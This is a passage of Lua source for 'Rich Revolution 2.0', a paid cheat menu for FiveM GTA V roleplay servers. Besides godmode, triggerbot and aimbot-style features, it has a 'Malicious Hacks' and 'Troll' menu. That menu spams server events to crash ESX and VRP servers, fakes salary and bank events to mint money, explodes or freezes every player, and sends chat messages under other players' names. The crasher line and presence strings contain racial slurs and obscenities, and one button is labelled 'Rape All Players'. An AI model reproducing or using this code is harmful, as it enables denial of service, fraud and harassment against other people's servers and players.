  5319. SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 100.0)
  5320. elseif IsControlPressed(0, 210) then
  5321. SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 0.0)
  5322. end
  5323. end
  5324.  
  5325. if TriggerBot then
  5326. local Aiming, Entity = GetEntityPlayerIsFreeAimingAt(PlayerId(), Entity)
  5327. if Aiming then
  5328. if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0) and IsPedAPlayer(Entity) then
  5329. ShootPlayer(Entity)
  5330. end
  5331. end
  5332. end
  5333.  
  5334. if fastrun then
  5335. SetRunSprintMultiplierForPlayer(PlayerId(-1), 2.49)
  5336. SetPedMoveRateOverride(GetPlayerPed(-1), 2.15)
  5337. else
  5338. SetRunSprintMultiplierForPlayer(PlayerId(-1), 1.0)
  5339. SetPedMoveRateOverride(GetPlayerPed(-1), 1.0)
  5340. end
  5341.  
  5342. if godmode then
  5343. SetEntityInvincible(GetPlayerPed(-1), true)
  5344. SetPlayerInvincible(PlayerId(), true)
  5345. SetPedCanRagdoll(GetPlayerPed(-1), false)
  5346. ClearPedBloodDamage(GetPlayerPed(-1))
  5347. ResetPedVisibleDamage(GetPlayerPed(-1))
  5348. ClearPedLastWeaponDamage(GetPlayerPed(-1))
  5349. SetEntityProofs(GetPlayerPed(-1), true, true, true, true, true, true, true, true)
  5350. SetEntityOnlyDamagedByPlayer(GetPlayerPed(-1), false)
  5351. SetEntityCanBeDamaged(GetPlayerPed(-1), false)
  5352. else
  5353. SetEntityInvincible(GetPlayerPed(-1), false)
  5354. SetPlayerInvincible(PlayerId(), false)
  5355. SetPedCanRagdoll(GetPlayerPed(-1), true)
  5356. ClearPedLastWeaponDamage(GetPlayerPed(-1))
  5357. SetEntityProofs(GetPlayerPed(-1), false, false, false, false, false, false, false, false)
  5358. SetEntityOnlyDamagedByPlayer(GetPlayerPed(-1), true)
  5359. SetEntityCanBeDamaged(GetPlayerPed(-1), true)
  5360. end
  5361.  
  5362. if discordPresence then
  5363. SetDiscordAppId(678810359909318656)
  5364.  
  5365. SetDiscordRichPresenceAsset('Rich Revolution')
  5366.  
  5367. SetRichPresence('created by exerr#1177')
  5368.  
  5369. SetDiscordRichPresenceAssetText('Rich Revolution | Lol Fuck you')
  5370.  
  5371. SetDiscordRichPresenceAssetSmall('Rich Revolution')
  5372.  
  5373. SetDiscordRichPresenceAssetSmallText('EXERRTM ON YOUTUBE')
  5374.  
  5375. end
  5376.  
  5377. if SuperJump then
  5378. SetSuperJumpThisFrame(PlayerId())
  5379. end
  5380.  
  5381. if ePunch then
  5382. SetExplosiveMeleeThisFrame(PlayerId())
  5383. end
  5384.  
  5385. if NOXJDSS then
  5386. local cI = {
  5387. [453432689] = 1.0,
  5388. [3219281620] = 1.0,
  5389. [1593441988] = 1.0,
  5390. [584646201] = 1.0,
  5391. [2578377531] = 1.0,
  5392. [324215364] = 1.0,
  5393. [736523883] = 1.0,
  5394. [2024373456] = 1.0,
  5395. [4024951519] = 1.0,
  5396. [3220176749] = 1.0,
  5397. [961495388] = 1.0,
  5398. [2210333304] = 1.0,
  5399. [4208062921] = 1.0,
  5400. [2937143193] = 1.0,
  5401. [2634544996] = 1.0,
  5402. [2144741730] = 1.0,
  5403. [3686625920] = 1.0,
  5404. [487013001] = 1.0,
  5405. [1432025498] = 1.0,
  5406. [2017895192] = 1.0,
  5407. [3800352039] = 1.0,
  5408. [2640438543] = 1.0,
  5409. [911657153] = 1.0,
  5410. [100416529] = 1.0,
  5411. [205991906] = 1.0,
  5412. [177293209] = 1.0,
  5413. [856002082] = 1.0,
  5414. [2726580491] = 1.0,
  5415. [1305664598] = 1.0,
  5416. [2982836145] = 1.0,
  5417. [1752584910] = 1.0,
  5418. [1119849093] = 1.0,
  5419. [3218215474] = 1.0,
  5420. [1627465347] = 1.0,
  5421. [3231910285] = 1.0,
  5422. [-1768145561] = 1.0,
  5423. [3523564046] = 1.0,
  5424. [2132975508] = 1.0,
  5425. [-2066285827] = 1.0,
  5426. [137902532] = 1.0,
  5427. [2828843422] = 1.0,
  5428. [984333226] = 1.0,
  5429. [3342088282] = 1.0,
  5430. [1785463520] = 1.0,
  5431. [1672152130] = 0,
  5432. [1198879012] = 1.0,
  5433. [171789620] = 1.0,
  5434. [3696079510] = 1.0,
  5435. [1834241177] = 1.0,
  5436. [3675956304] = 1.0,
  5437. [3249783761] = 1.0,
  5438. [-879347409] = 1.0,
  5439. [4019527611] = 1.0,
  5440. [1649403952] = 1.0,
  5441. [317205821] = 1.0,
  5442. [125959754] = 1.0,
  5443. [3173288789] = 1.0
  5444. }
  5445. if IsPedShooting(PlayerPedId(-1)) and not IsPedDoingDriveby(PlayerPedId(-1)) then
  5446. local _, cJ = GetCurrentPedWeapon(PlayerPedId(-1))
  5447. _, cAmmo = GetAmmoInClip(PlayerPedId(-1), cJ)
  5448. if cI[cJ] and cI[cJ] ~= 0 then
  5449. tv = 0
  5450. if GetFollowPedCamViewMode() ~= 4 then
  5451. repeat
  5452. Wait(0)
  5453. p = GetGameplayCamRelativePitch()
  5454. SetGameplayCamRelativePitch(p + 0.0, 0.0)
  5455. tv = tv + 0.0
  5456. until tv >= cI[cJ]
  5457. else
  5458. repeat
  5459. Wait(0)
  5460. p = GetGameplayCamRelativePitch()
  5461. if cI[cJ] > 0.0 then
  5462. SetGameplayCamRelativePitch(p + 0.0, 0.0)
  5463. tv = tv + 0.0
  5464. else
  5465. SetGameplayCamRelativePitch(p + 0.0, 0.0)
  5466. tv = tv + 0.0
  5467. end
  5468. until tv >= cI[cJ]
  5469. end
  5470. end
  5471. end
  5472. end
  5473.  
  5474. if Oneshot then
  5475. SetPlayerWeaponDamageModifier(PlayerId(), 100.0)
  5476. local gotEntity = getEntity(PlayerId())
  5477. if IsEntityAPed(gotEntity) then
  5478. if IsPedInAnyVehicle(gotEntity, true) then
  5479. if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
  5480. if IsControlJustReleased(1, 69) then
  5481. NetworkExplodeVehicle(GetVehiclePedIsIn(gotEntity, true), true, true, 0)
  5482. end
  5483. else
  5484. if IsControlJustReleased(1, 142) then
  5485. NetworkExplodeVehicle(GetVehiclePedIsIn(gotEntity, true), true, true, 0)
  5486. end
  5487. end
  5488. end
  5489. elseif IsEntityAVehicle(gotEntity) then
  5490. if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
  5491. if IsControlJustReleased(1, 69) then
  5492. NetworkExplodeVehicle(gotEntity, true, true, 0)
  5493. end
  5494. else
  5495. if IsControlJustReleased(1, 142) then
  5496. NetworkExplodeVehicle(gotEntity, true, true, 0)
  5497. end
  5498. end
  5499. end
  5500. else
  5501. SetPlayerWeaponDamageModifier(PlayerId(), 1.0)
  5502. end
  5503. end
  5504. end)
  5505. Citizen.CreateThread(
  5506. function()
  5507.  
  5508. local currentTint = 1
  5509. local selectedTint = 1
  5510.  
  5511. RichRevolution.CreateMenu("MainMenu", "~g~Rich Revolution 2.0")
  5512. RichRevolution.CreateSubMenu("SelfMenu", "MainMenu", "Self Menu")
  5513. RichRevolution.CreateSubMenu("PedMenu", "SelfMenu", "Ped Menu")
  5514. RichRevolution.CreateSubMenu("OnlinePlayersMenu", "MainMenu", "Players Online: " .. #getPlayerIds())
  5515. RichRevolution.CreateSubMenu("WeaponMenu", "MainMenu", "Weapon Menu")
  5516. RichRevolution.CreateSubMenu("SingleWeaponMenu", "WeaponMenu", "Single Weapon Spawner")
  5517. RichRevolution.CreateSubMenu("MaliciousMenu", "MainMenu", "Malicious Hacks")
  5518. RichRevolution.CreateSubMenu('LulxDJ', 'MaliciousMenu', 'ESP Menu')
  5519. RichRevolution.CreateSubMenu("VRPMenu", "MainMenu", "VRP Options")
  5520. RichRevolution.CreateSubMenu("SRVMenu", "MainMenu", "Server Options")
  5521. RichRevolution.CreateSubMenu("SRVPMenu", "SRVMenu", "Polish Server")
  5522. RichRevolution.CreateSubMenu("StrefaRP", "SRVPMenu", "StrefaRP")
  5523. RichRevolution.CreateSubMenu("SRVGMenu", "SRVMenu", "Germany Server")
  5524. RichRevolution.CreateSubMenu("ESXMenu", "MainMenu", "ESX Options")
  5525. RichRevolution.CreateSubMenu("ESXJobMenu", "ESXMenu", "ESX Jobs")
  5526. RichRevolution.CreateSubMenu("ESXMoneyMenu", "ESXMenu", "ESX Money Menu")
  5527. RichRevolution.CreateSubMenu("VRPMoneyMenu", "VRPMenu", "VRP Money Menu")
  5528. RichRevolution.CreateSubMenu("VRPJailMenu", "VRPMenu", "VRP Jail")
  5529. RichRevolution.CreateSubMenu("ESXDrugMenu", "ESXMenu", "ESX Drugs")
  5530. RichRevolution.CreateSubMenu("ESXJailMenu", "ESXMenu", "ESX Jail")
  5531. RichRevolution.CreateSubMenu("VehMenu", "MainMenu", "Vehicle Menu")
  5532. RichRevolution.CreateSubMenu("Hedit", "VehMenu", "Handling")
  5533. RichRevolution.CreateSubMenu("SettingsMenu", "MainMenu", "Settings")
  5534. RichRevolution.CreateSubMenu("VehSpawnOpt", "VehMenu", "Vehicle Spawn Options")
  5535. RichRevolution.CreateSubMenu('CarTypes', 'VehMenu', 'Vehicles')
  5536. RichRevolution.CreateSubMenu('CarTypeSelection', 'CarTypes', 'Vehicle types')
  5537. RichRevolution.CreateSubMenu('CarOptions', 'CarTypeSelection', 'Vehicle Options')
  5538. RichRevolution.CreateSubMenu('MainTrailer', 'VehicleMenu', 'Trailers to Attach')
  5539. RichRevolution.CreateSubMenu('MainTrailerSel', 'MainTrailer', 'Trailers Available')
  5540. RichRevolution.CreateSubMenu('MainTrailerSpa', 'MainTrailerSel', 'Trailer Options')
  5541. RichRevolution.CreateSubMenu("PlayerOptionsMenu", "OnlinePlayersMenu", "Player Options")
  5542. RichRevolution.CreateSubMenu("TeleportMenu", "MainMenu", "Teleport Menu")
  5543. RichRevolution.CreateSubMenu("LSC", "VehMenu", "Welcome To Los santos customs!")
  5544. RichRevolution.CreateSubMenu("PlayerTrollMenu", "PlayerOptionsMenu", "Troll Options")
  5545. RichRevolution.CreateSubMenu("PlayerESXMenu", "PlayerOptionsMenu", "ESX Options")
  5546. RichRevolution.CreateSubMenu("PlayerESXJobMenu", "PlayerOptionsMenu", "ESX Jobs")
  5547. RichRevolution.CreateSubMenu("PlayerESXTriggerMenu", "PlayerESXMenu", "ESX Triggers")
  5548. RichRevolution.CreateSubMenu("BulletGunMenu", "WeaponMenu", "Bullets Gun Options")
  5549. RichRevolution.CreateSubMenu("TrollMenu", "MainMenu", "Troll Options")
  5550. RichRevolution.CreateSubMenu("WeaponCustomization", "WeaponMenu", "Weapon Cusomization Options")
  5551. RichRevolution.CreateSubMenu("WeaponTintMenu", "WeaponCustomization", "Weapon Tints")
  5552. RichRevolution.CreateSubMenu("VehicleRamMenu", "PlayerTrollMenu", "Ram Vehicles Into Player")
  5553. RichRevolution.CreateSubMenu("ESXBossMenu", "ESXMenu", "ESX Boss")
  5554. RichRevolution.CreateSubMenu("tunings", "LSC", "Extrerior Tuning")
  5555. RichRevolution.CreateSubMenu("performance", "LSC", "Performance Tuning")
  5556. RichRevolution.CreateSubMenu("SpawnPropsMenu", "PlayerTrollMenu", "Spawn Props On Player")
  5557. RichRevolution.CreateSubMenu("SingleWepPlayer", "PlayerOptionsMenu", "Single Weapon Menu")
  5558. RichRevolution.CreateSubMenu("ESXMiscMenu", "ESXMenu", "ESX Misc")
  5559. RichRevolution.CreateSubMenu("InfoMenu", "SettingsMenu", "Info")
  5560. RichRevolution.CreateSubMenu("VehBoostMenu", "LSC", "Vehicle Booster")
  5561. RichRevolution.CreateSubMenu("Credits", "SettingsMenu", "Credits")
  5562. for i, dA in pairs(bd) do
  5563. RichRevolution.CreateSubMenu(dA.id, "tunings", dA.name) if dA.id == "paint" then
  5564. RichRevolution.CreateSubMenu("primary", dA.id, "Primary Paint")
  5565. RichRevolution.CreateSubMenu("secondary", dA.id, "Secondary Paint")
  5566. RichRevolution.CreateSubMenu("rimpaint", dA.id, "Wheel Paint")
  5567. RichRevolution.CreateSubMenu("classic1", "primary", "Classic Paint")
  5568. RichRevolution.CreateSubMenu("metallic1", "primary", "Metallic Paint")
  5569. RichRevolution.CreateSubMenu("matte1", "primary", "Matte Paint")
  5570. RichRevolution.CreateSubMenu("metal1", "primary", "Metal Paint")
  5571. RichRevolution.CreateSubMenu("classic2", "secondary", "Classic Paint")
  5572. RichRevolution.CreateSubMenu("metallic2", "secondary", "Metallic Paint")
  5573. RichRevolution.CreateSubMenu("matte2", "secondary", "Matte Paint")
  5574. RichRevolution.CreateSubMenu("metal2", "secondary", "Metal Paint")
  5575. RichRevolution.CreateSubMenu("classic3", "rimpaint", "Classic Paint")
  5576. RichRevolution.CreateSubMenu("metallic3", "rimpaint", "Metallic Paint")
  5577. RichRevolution.CreateSubMenu("matte3", "rimpaint", "Matte Paint")
  5578. RichRevolution.CreateSubMenu("metal3", "rimpaint", "Metal Paint")
  5579. end
  5580. end
  5581. for i, dA in pairs(be) do
  5582. RichRevolution.CreateSubMenu(dA.id, "performance", dA.name)
  5583. end
  5584.  
  5585. local SelectedPlayer
  5586.  
  5587. while Enabled do
  5588.  
  5589. local ped = PlayerPedId()
  5590. local veh = GetVehiclePedIsUsing(ped)
  5591. SetVehicleModKit(veh, 0)
  5592. for i, dA in pairs(bd) do
  5593. if RichRevolution.IsMenuOpened("tunings") then
  5594. if b8 then
  5595. if ba == "neon" then
  5596. local r, g, b = table.unpack(b9)
  5597. SetVehicleNeonLightsColour(veh, r, g, b)
  5598. SetVehicleNeonLightEnabled(veh, 0, bc)
  5599. SetVehicleNeonLightEnabled(veh, 1, bc)
  5600. SetVehicleNeonLightEnabled(veh, 2, bc)
  5601. SetVehicleNeonLightEnabled(veh, 3, bc)
  5602. b8 = false
  5603. ba = -1
  5604. b9 = -1
  5605. elseif ba == "paint" then
  5606. local dB, dC, dD, dA = table.unpack(b9)
  5607. SetVehicleColours(veh, dB, dC)
  5608. SetVehicleExtraColours(veh, dD, dA)
  5609. b8 = false
  5610. ba = -1;
  5611. b9 = -1
  5612. else
  5613. if bc == "rm" then
  5614. RemoveVehicleMod(veh, ba)
  5615. b8 = false
  5616. ba = -1
  5617. b9 = -1
  5618. else
  5619. SetVehicleMod(veh, ba, b9, false)
  5620. b8 = false
  5621. ba = -1
  5622. b9 = -1
  5623. end
  5624. end
  5625. end
  5626. end
  5627.  
  5628. if RichRevolution.IsMenuOpened(dA.id) then
  5629. if dA.id == "wheeltypes" then
  5630. if RichRevolution.Button("Sport Wheels") then
  5631. SetVehicleWheelType(veh, 0)
  5632. elseif RichRevolution.Button("Muscle Wheels") then
  5633. SetVehicleWheelType(veh, 1)
  5634. elseif RichRevolution.Button("Lowrider Wheels") then
  5635. SetVehicleWheelType(veh, 2)
  5636. elseif RichRevolution.Button("SUV Wheels") then
  5637. SetVehicleWheelType(veh, 3)
  5638. elseif RichRevolution.Button("Offroad Wheels") then
  5639. SetVehicleWheelType(veh, 4)
  5640. elseif RichRevolution.Button("Tuner Wheels") then
  5641. SetVehicleWheelType(veh, 5)
  5642. elseif RichRevolution.Button("High End Wheels") then
  5643. SetVehicleWheelType(veh, 7)
  5644. end
  5645.  
  5646. RichRevolution.Display()
  5647. elseif dA.id == "extra" then
  5648. local dF = checkValidVehicleExtras()
  5649. for i, dA in pairs(dF) do
  5650. if IsVehicleExtraTurnedOn(veh, i) then
  5651. pricestring = "Installed"
  5652. else
  5653. pricestring = "Not Installed"
  5654. end
  5655. if RichRevolution.Button(dA.menuName, pricestring) then
  5656. SetVehicleExtra(veh, i, IsVehicleExtraTurnedOn(veh, i))
  5657. end
  5658. end
  5659.  
  5660. RichRevolution.Display()
  5661. elseif dA.id == "headlight" then
  5662. if RichRevolution.Button("None") then
  5663. SetVehicleHeadlightsColour(veh, -1)
  5664. end
  5665. for dK, dA in pairs(bo) do
  5666. tp = GetVehicleHeadlightsColour(veh)
  5667. if tp == dA.id and not bg then
  5668. pricetext = "Installed"
  5669. else
  5670. if bg and tp == dA.id then
  5671. pricetext = "Previewing"
  5672. else pricetext = "Not Installed"
  5673. end
  5674. end
  5675. head = GetVehicleHeadlightsColour(veh)
  5676. if RichRevolution.Button(dA.name, pricetext) then
  5677. if not bg then
  5678. bi = "headlight"
  5679. bk = false
  5680. oldhead = GetVehicleHeadlightsColour(veh)
  5681. bh = table.pack(oldhead)
  5682. SetVehicleHeadlightsColour(veh, dA.id)
  5683. bg = true
  5684. elseif bg and head == dA.id then
  5685. ToggleVehicleMod(veh, 22, true)
  5686. SetVehicleHeadlightsColour(veh, dA.id)
  5687. bg = false; bi = -1; bh = -1
  5688. elseif bg and head ~= dA.id then
  5689. SetVehicleHeadlightsColour(veh, dA.id) bg = true
  5690. end
  5691. end
  5692. end
  5693.  
  5694. RichRevolution.Display()
  5695. elseif dA.id == "neon" then
  5696. if RichRevolution.Button("None") then
  5697. SetVehicleNeonLightsColour(veh, 255, 255, 255)
  5698. SetVehicleNeonLightEnabled(veh, 0, false)
  5699. SetVehicleNeonLightEnabled(veh, 1, false)
  5700. SetVehicleNeonLightEnabled(veh, 2, false)
  5701. SetVehicleNeonLightEnabled(veh, 3, false)
  5702. end
  5703. for i, dA in pairs(colors) do
  5704. colorr, colorg, colorb = table.unpack(dA)
  5705. r, g, b = GetVehicleNeonLightsColour(veh)
  5706. if colorr == r and colorg == g and colorb == b and IsVehicleNeonLightEnabled(vehicle, 2) and not b8 then
  5707. pricestring = "Installed"
  5708. else
  5709. if b8 and colorr == r and colorg == g and colorb == b then
  5710. pricestring = "Previewing"
  5711. else
  5712. pricestring = "Not Installed"
  5713. end
  5714. end
  5715. if RichRevolution.Button(i, pricestring) then
  5716. if not b8 then
  5717. ba = "neon"
  5718. bc = IsVehicleNeonLightEnabled(veh, 1)
  5719. oldr, oldg, oldb = GetVehicleNeonLightsColour(veh)
  5720. b9 = table.pack(oldr, oldg, oldb)
  5721. SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
  5722. SetVehicleNeonLightEnabled(veh, 0, true)
  5723. SetVehicleNeonLightEnabled(veh, 1, true)
  5724. SetVehicleNeonLightEnabled(veh, 2, true)
  5725. SetVehicleNeonLightEnabled(veh, 3, true)
  5726. b8 = true
  5727. elseif b8 and colorr == r and colorg == g and colorb == b then
  5728. SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
  5729. SetVehicleNeonLightEnabled(veh, 0, true)
  5730. SetVehicleNeonLightEnabled(veh, 1, true)
  5731. SetVehicleNeonLightEnabled(veh, 2, true)
  5732. SetVehicleNeonLightEnabled(veh, 3, true)
  5733. b8 = false
  5734. ba = -1
  5735. b9 = -1
  5736. elseif b8 and colorr ~= r or colorg ~= g or colorb ~= b then
  5737. SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
  5738. SetVehicleNeonLightEnabled(veh, 0, true)
  5739. SetVehicleNeonLightEnabled(veh, 1, true)
  5740. SetVehicleNeonLightEnabled(veh, 2, true)
  5741. SetVehicleNeonLightEnabled(veh, 3, true)
  5742. b8 = true
  5743. end
  5744. end
  5745. end
  5746.  
  5747. RichRevolution.Display()
  5748. elseif dA.id == "paint" then
  5749. if RichRevolution.MenuButton("~r~→ ~s~Primary Paint", "primary") then
  5750. elseif RichRevolution.MenuButton("~r~→ ~s~Secondary Paint", "secondary") then
  5751. elseif RichRevolution.MenuButton("~r~→ ~s~Wheel Paint", "rimpaint") then
  5752. end
  5753. RichRevolution.Display()
  5754. else
  5755. local as = checkValidVehicleMods(dA.id)
  5756. for dG, dH in pairs(as) do
  5757. if dH.menuName == "Stock" then
  5758. price = 0
  5759. end
  5760. if dA.name == "Horns" then
  5761. for dI, dJ in pairs(horns) do
  5762. if dJ ==dG - 1 then
  5763. dH.menuName = dI
  5764. end
  5765. end
  5766. end
  5767. if dH.menuName == "NULL" then
  5768. dH.menuname = "unknown"
  5769. end
  5770. if RichRevolution.Button(dH.menuName, price) then
  5771. if not b8 then
  5772. ba = dA.id
  5773. b9 = GetVehicleMod(veh, dA.id)
  5774. b8 = true
  5775. if dH.data.realIndex == -1 then
  5776. bc = "rm"
  5777. RemoveVehicleMod(veh, dH.data.modid)
  5778. b8 = false
  5779. ba = -1
  5780. b9 = -1
  5781. bc = false
  5782. else
  5783. bc = false
  5784. SetVehicleMod(veh, dA.id, dH.data.realIndex, false)
  5785. end
  5786. elseif b8 and GetVehicleMod(veh, dA.id) == dH.data.realIndex then
  5787. b8 = false
  5788. ba = -1
  5789. b9 = -1
  5790. bc = false
  5791. if dH.data.realIndex == -1 then
  5792. RemoveVehicleMod(veh, dH.data.modid)
  5793. else
  5794. SetVehicleMod(veh, dA.id, dH.data.realIndex, false)
  5795. end
  5796. elseif b8 and GetVehicleMod(veh, dA.id) ~= dH.data.realIndex then
  5797. if dH.data.realIndex == -1 then
  5798. RemoveVehicleMod(veh, dH.data.modid)
  5799. b8 = false
  5800. ba = -1
  5801. b9 = -1
  5802. bc = false
  5803. else
  5804. SetVehicleMod(veh, dA.id, dH.data.realIndex, false)
  5805. b8 = true
  5806. end
  5807. end
  5808. end
  5809. end
  5810. RichRevolution.Display()
  5811. end
  5812. end
  5813. end
  5814.  
  5815. for i, dA in pairs(be) do
  5816. if RichRevolution.IsMenuOpened(dA.id) then
  5817. if GetVehicleMod(veh, dA.id) == 0 then pricestock = "Not Installed"
  5818. price1 = "Installed"
  5819. price2 = "Not Installed"
  5820. price3 = "Not Installed"
  5821. price4 = "Not Installed"
  5822. elseif GetVehicleMod(veh, dA.id) == 1 then pricestock = "Not Installed"
  5823. price1 = "Not Installed"
  5824. price2 = "Installed"
  5825. price3 = "Not Installed"
  5826. price4 = "Not Installed"
  5827. elseif GetVehicleMod(veh, dA.id) == 2 then pricestock = "Not Installed"
  5828. price1 = "Not Installed"
  5829. price2 = "Not Installed"
  5830. price3 = "Installed"
  5831. price4 = "Not Installed"
  5832. elseif GetVehicleMod(veh, dA.id) == 3 then pricestock = "Not Installed"
  5833. price1 = "Not Installed"
  5834. price2 = "Not Installed"
  5835. price3 = "Not Installed"
  5836. price4 = "Installed"
  5837. elseif GetVehicleMod(veh, dA.id) == -1 then pricestock = "Installed"
  5838. price1 = "Not Installed"
  5839. price2 = "Not Installed"
  5840. price3 = "Not Installed"
  5841. price4 = "Not Installed"
  5842. end
  5843. if RichRevolution.Button("Stock "..dA.name, pricestock) then
  5844. SetVehicleMod(veh, dA.id, -1)
  5845. elseif RichRevolution.Button(dA.name.." Upgrade 1", price1) then
  5846. SetVehicleMod(veh, dA.id, 0)
  5847. elseif RichRevolution.Button(dA.name.." Upgrade 2", price2) then
  5848. SetVehicleMod(veh, dA.id, 1)
  5849. elseif RichRevolution.Button(dA.name.." Upgrade 3", price3) then
  5850. SetVehicleMod(veh, dA.id, 2)
  5851. elseif dA.id ~= 13 and dA.id ~= 12 and RichRevolution.Button(dA.name.." Upgrade 4", price4) then
  5852. SetVehicleMod(veh, dA.id, 3) end; RichRevolution.Display()
  5853. end
  5854. end
  5855.  
  5856. if RichRevolution.IsMenuOpened("MainMenu") then
  5857. drawNotification("~h~~p~Rich ~p~Revolution ~s~2.0")
  5858. drawNotification("~h~~s~The best dev: ~r~exerr#1177")
  5859. if RichRevolution.MenuButton ("~o~∑ ~s~Own options", "SelfMenu") then
  5860. elseif RichRevolution.MenuButton("~g~∑ ~s~Online Players", "OnlinePlayersMenu") then
  5861. elseif RichRevolution.MenuButton("~o~∑ ~s~Weapon Menu", "WeaponMenu") then
  5862. elseif RichRevolution.MenuButton("~g~∑ ~s~Vehicle Menu", "VehMenu") then
  5863. elseif RichRevolution.MenuButton("~o~∑ ~s~Extreme Menu", "MaliciousMenu") then
  5864. elseif RichRevolution.MenuButton("~g~∑ ~s~Trolling Menu", "TrollMenu") then
  5865. elseif RichRevolution.MenuButton("~o~∑ ~s~ESX Options", "ESXMenu") then
  5866. elseif RichRevolution.MenuButton("~g~∑ ~s~VRP Options", "VRPMenu") then
  5867. elseif RichRevolution.MenuButton("~o~∑ ~s~Server Options", "SRVMenu") then
  5868. elseif RichRevolution.MenuButton("~g~∑ ~s~Settings", "SettingsMenu") then
  5869. elseif RichRevolution.Button("~o~∑ ~s~Close The Menu ") then
  5870. Enabled = false
  5871. end
  5872.  
  5873. RichRevolution.Display()
  5874. elseif RichRevolution.IsMenuOpened("SRVMenu") then
  5875. if RichRevolution.MenuButton("~g~→ ~r~Polish ~s~Servers", "SRVPMenu") then
  5876. elseif RichRevolution.MenuButton("~g~→ ~y~Germany ~s~Servers", "SRVGMenu") then
  5877. end
  5878.  
  5879. RichRevolution.Display()
  5880. elseif RichRevolution.IsMenuOpened("SRVPMenu") then
  5881. if RichRevolution.MenuButton("~g~→ ~s~StrefaRP", "StrefaRP") then
  5882. end
  5883.  
  5884. RichRevolution.Display()
  5885. elseif RichRevolution.IsMenuOpened("VRPMenu") then
  5886. if RichRevolution.MenuButton("~g~→ ~s~VRP Money Options", "VRPMoneyMenu") then
  5887. elseif RichRevolution.MenuButton("~g~→ ~s~VRP Jail", "VRPJailMenu") then
  5888. elseif RichRevolution.Button("VRP Get Driver Licence") then
  5889. TriggerServerEvent("dmv:success")
  5890. elseif RichRevolution.Button("Give yourself 10x salary (VRP)") then
  5891. a=1 repeat TriggerServerEvent('paycheck:salary') a=a+1 until (a>10)
  5892. a=1 repeat TriggerServerEvent('paycheck:bonus') a=a+1 until (a>10)
  5893. elseif RichRevolution.Button("VRP Bank Deposit") then
  5894. local amount = KeyboardInput("Enter Amount Of Money", "", 99999999999)
  5895. TriggerServerEvent("bank:deposit", amount)
  5896. elseif RichRevolution.Button("VRP Bank Withdraw") then
  5897. local amount = KeyboardInput("Enter Amount Of Money", "", 99999999999)
  5898. TriggerServerEvent("bank:withdraw", amount)
  5899. elseif RichRevolution.Button("VRP Slot Machine") then
  5900. local amount = KeyboardInput("Enter Amount Of Money", "", 99999999999)
  5901. TriggerServerEvent("vrp_slotmachine:server:2", amount)
  5902. end
  5903.  
  5904. RichRevolution.Display()
  5905. elseif RichRevolution.IsMenuOpened("SettingsMenu") then
  5906. if RichRevolution.ComboBox("~g~→ ~s~Menu ~b~X", menuX, currentMenuX, selectedMenuX, function(currentIndex, selectedIndex)
  5907. currentMenuX = currentIndex
  5908. selectedMenuX = selectedIndex
  5909. for i = 1, #allMenus do
  5910. RichRevolution.SetMenuX(allMenus[i], menuX[currentMenuX])
  5911. end
  5912. end)
  5913. then
  5914. elseif RichRevolution.ComboBox("~g~→ ~s~Menu ~b~Y", menuY, currentMenuY, selectedMenuY, function(currentIndex, selectedIndex)
  5915. currentMenuY = currentIndex
  5916. selectedMenuY = selectedIndex
  5917. for i = 1, #allMenus do
  5918. RichRevolution.SetMenuY(allMenus[i], menuY[currentMenuY])
  5919. end
  5920. end)
  5921. then
  5922. elseif RichRevolution.MenuButton(" 📝 ~s~Information", "InfoMenu") then
  5923. elseif RichRevolution.MenuButton("🛒 ~s~Credits", "Credits") then
  5924. end
  5925.  
  5926. RichRevolution.Display()
  5927. elseif RichRevolution.IsMenuOpened("InfoMenu") then
  5928. if RichRevolution.Button("Rich Revolution 2.0") then
  5929. elseif RichRevolution.Button("~r~www.richmenu.pl") then
  5930. end
  5931.  
  5932. RichRevolution.Display()
  5933. elseif RichRevolution.IsMenuOpened("Credits") then
  5934. if RichRevolution.Button("~h~Press on my nickname <3") then
  5935. elseif RichRevolution.Button("∑ ~r~~h~exerr#1177~s~ - ~r~DEV") then
  5936. drawNotification('~h~Contact him for More releases.')
  5937. drawNotification('~h~Also contact him if you want to purchase any menu.')
  5938. end
  5939.  
  5940. RichRevolution.Display()
  5941. elseif RichRevolution.IsMenuOpened("TrollMenu") then
  5942. if RichRevolution.Button("ESX Server Crasher") then
  5943. for i = 1, 50000 do TriggerServerEvent("esx_skin:responseSaveSkin", {niggers = "gay"}) TriggerServerEvent("esx_skin:responseSaveSkin", "niggers eat shit") end
  5944. elseif RichRevolution.CheckBox(
  5945. "VRP Server Crasher",
  5946. banallusers,
  5947. function(enabled)
  5948. banallusers = enabled
  5949. end)
  5950. then
  5951. elseif RichRevolution.Button("Nuke Server") then
  5952. TriggerServerEvent("esx_truckerjob:pay", 9999999999)
  5953. nukeserver()
  5954. elseif RichRevolution.Button("Esx Destroy V2") then
  5955. esxdestroyv2()
  5956. elseif RichRevolution.Button("VRP Destroy V2") then
  5957. vrpdestroy()
  5958. elseif RichRevolution.CheckBox("Fuck economy ~g~ESX", esxdestroy, function(enabled) esxdestroy = enabled end) then
  5959. elseif RichRevolution.CheckBox("Freeze Everyone", fall, function(enabled) fall = enabled end) then
  5960. elseif RichRevolution.CheckBox("Handcuff everyone", freezeall, function(enabled) freezeall = enabled end) then
  5961. elseif RichRevolution.CheckBox("Explode Everyone", blowall, function(enabled) blowall = enabled end) then
  5962. elseif RichRevolution.Button("Fake Message") then
  5963. local da=KeyboardInput("Enter player name","",100)
  5964. if da then
  5965. local ck=KeyboardInput("Enter message","",1000)
  5966. if ck then
  5967. TriggerServerEvent("_chat:messageEntered",da,{0,0x99,255},ck)
  5968. end
  5969. end
  5970. elseif RichRevolution.Button("Rape All Players") then
  5971. RapeAllFunc()
  5972. elseif RichRevolution.Button("Crash All Players") then
  5973. for i = 0, 128 do
  5974. if not ped == GetPlayerPed(-1) then
  5975. CrashPlayer(GetPlayerPed(i))
  5976. end
  5977. end
  5978. elseif RichRevolution.Button('Make~s~ EVERYONE A Wall') then
  5979. for i = 0, 128 do
  5980. if IsPedInAnyVehicle(GetPlayerPed(i), true) then
  5981. local eb = 'xs_prop_hamburgher_wl'
  5982. local ec = -145066854
  5983. while not HasModelLoaded(ec) do
